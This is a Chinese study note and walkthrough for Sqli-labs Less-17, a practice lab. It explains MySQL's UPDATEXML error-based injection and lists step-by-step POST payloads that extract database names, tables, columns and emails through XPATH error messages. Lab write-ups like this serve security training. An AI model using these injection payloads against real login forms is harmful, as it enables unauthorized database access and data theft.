Sqli-labs-Less-17(笔记)

知识补充

UPDATEXML (XML_document, XPath_string, new_value);

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串)
第三个参数:new_value,String格式,替换查找到的符合条件的数据

而我们的注入语句为:
select updatexml(1,concat(0x7e,(SELECT username from security.users limit 0,1),0x7e),1);

其中的concat()函数是将其连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误,爆出
ERROR 1105 (HY000): XPATH syntax error: 'Dumb

其中的0x7e是ASCII编码,解码结果为~

——————————分割线——————————————

Sqli-labs-Less-17

第十七关与前面不同,他会随着每一次的登录而改变密码
在这里插入图片描述
因为密码的不确定性,这里用报错注入的方法进行注入。

首先用账户和密码都为admin进行登录,通过burp获取post类容
在这里插入图片描述
因为密码是改变的,我们在密码上进行更改
uname=admin&passwd=’&submit=Submit
当时用一个’时有报错回显
在这里插入图片描述
使用#进行注释,没有报错
uname=admin&passwd=’ #&submit=Submit
在这里插入图片描述
利用这种错误回显,我们可以通过floor()、updatexml()等函数将要查询的内容输出到页面上。

查询当前数据库名称
uname=admin&passwd=’ or updatexml(1,concat(0x7e,(select database()),0x7e),1)#&submit=Submit
在这里插入图片描述
查询数据库名称
uname=admin&passwd=’ or updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1),0x7e),1) #&submit=Submit
在这里插入图片描述

使用group_cincat()函数(因为输出字符数限制,效果不是很好,不建议使用)
uname=admin&passwd=’ or updatexml(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e),1) #&submit=Submit
在这里插入图片描述
可以使用substring()函数查看32位以后的数据
uname=admin&passwd=’ or updatexml(1,concat(0x7e,substring((select group_concat(schema_name) from information_schema.schemata),30,32),0x7e),1) #&submit=Submit
在这里插入图片描述

查询表的名称(security库)
uname=admin&passwd=’ or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=‘security’ limit 0,1),0x7e),1) #&submit=Submit

查询字段(users)
uname=admin&passwd=’ or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name=‘users’ limit 0,1),0x7e),1) #&submit=Submit
在这里插入图片描述
查询账户
uname=admin&passwd=’ or updatexml(1,concat(0x7e,(select username from security.users),0x7e),1) #&submit=Submit
出错:You can’t specify target table ‘users’ for update in FROM clause
在这里插入图片描述

不过我们可以用这种方法**别的表(emails)
uname=admin&passwd=’ or updatexml(1,concat(0x7e,(select group_concat(id,email_id) from security.emails),0x7e),1) #&submit=Submit
在这里插入图片描述
以此类推判断出其他数据。